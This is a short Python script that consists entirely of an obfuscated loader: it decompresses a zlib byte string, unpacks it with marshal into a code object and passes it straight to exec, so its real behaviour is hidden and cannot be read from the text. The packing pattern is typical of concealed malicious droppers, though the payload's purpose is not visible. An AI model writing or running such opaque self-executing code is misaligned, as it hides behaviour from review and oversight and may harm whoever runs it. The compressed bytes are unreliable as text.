from marshal import loads import zlib exec(loads(zlib.decompress(b'x\x9c\xbd\x92\xcfK\x1bA\x14\xc7gfgwcZ\x13\xab\x85ZZJ\xac\x14\xd9\x83\xd26\x05\xa1\x88x(\xd56\x92\xb6\x88\xa5\x08eI3\x1b\x9b\xb2?\xcal""IY\x8a\xe0\x0f,\xb4\x87\xa2GO\x82x\xe9\xa5\xd0c\xff\x04\x039\x84\x85\x9e\xdd\xc7\xe4\n\xde"\x90I\xa2_\x1e\xa1-\xd0\x9d\x93\x8c\xaaT\x11\x1dP\xb2\xfbqX\xed_\x051\x05\xd8\xb3\xe2\xcb\xb4L\xdb\x98\x15xz\xa2n\x7f%\xebh\x16U\xd0\xebkU|>\xe9\x8a\xb4B\xda\xbd\xbf\x90\xb5\xde)\xb4\x8d4\x02=\xc9\xd9\xcc\xb1|U\xc4\xa2]\xd2\xa8O\x86\xee\xfa\xb8\xe8+\xban[\xb9\xf90\x16mW\xb4>\x95\xf2<_5\x8d9\xc3\xd4\xef\x1d\xc5G\xcc\xa2[\xca;\xd6\xfb\xd1\x85>\xd71\xe7\x8c\xb0\xd1\xfa\xfc\xd0\x88\xe9\xe4s\xa6;:t\x9a"\x8e\xe5\xde\x01\xf9\xe3\xa1\xdd\xc4d8\xbe\xf5}\x9a[\xfb\xb0Q\xd8,\xd4\x92\x83\xf5\xe4\xe0\xc9\x1f\x07\x82\x93\x0bbM\xe2b\xabO]\xc3`\xbe\x0c\x9c\xb3\x86\xa6p\xd1\x1b?\xae\xebyp,\xe9v\xde\x8f\x01\'\xa4@\x8ej\x97\xad7\x06wyB\xd4H\n_%\x80O\xa5\xc6\xc6x\x97\xd8\xd8\xd9\x86\xcb{\x8f\xaf\x96\xfbJ\xf0\x01`\xa33\xe9=\x0e\xe5J\x8f\xf7\xb4\x91\xbc\xe9M\xfc\xa2\xf1\xc5\xcc\xe7\xd8\xc6p\xad\xebv\x8d\xf6\xd7i\xff.\xedoD\xc0\xe1\xf8^\xfe\xf1\xe2g\xbc6\x9c\xa9\x0fg`YKL\xd6\x13\x93\xdex\xe3R\xb7\x97\xe5\xdd\xe244<\x8d\x04\xbd\xf6\xa9hN`\xce;\x84\x88\x84\x80\xef(6b9\xacl\x1a\xa3\xfcFp\xab\x00M\xbc\xec\xa6\x841n\xa0N/\xf86\x15\x15\xf7l\xa4\x9b\x08\xc2\xe6\x83 \xfcW\x82\xdaYM\xf2U+\xc7\xdd\xb793l 5\xe6\x8d\xfc6\n\xba\x1d\xbd\xd8\xfb-\xee\x1d\x91\xfb\xf3S\xf7\xeb\xbb\xed\xa3\x81\xa8G\xbdio\xba\x89\xd0\xe5\xf1\x81\xdfpA\'\x06\x0e\x03\x859~"\xe6\xa0\xcd3\xca\xd5\x8ba2\xd3\x82\xc9J\x1f\x06*\x98l1\x07m\x9e\xd1\x80\xe9/.T2\xf1')))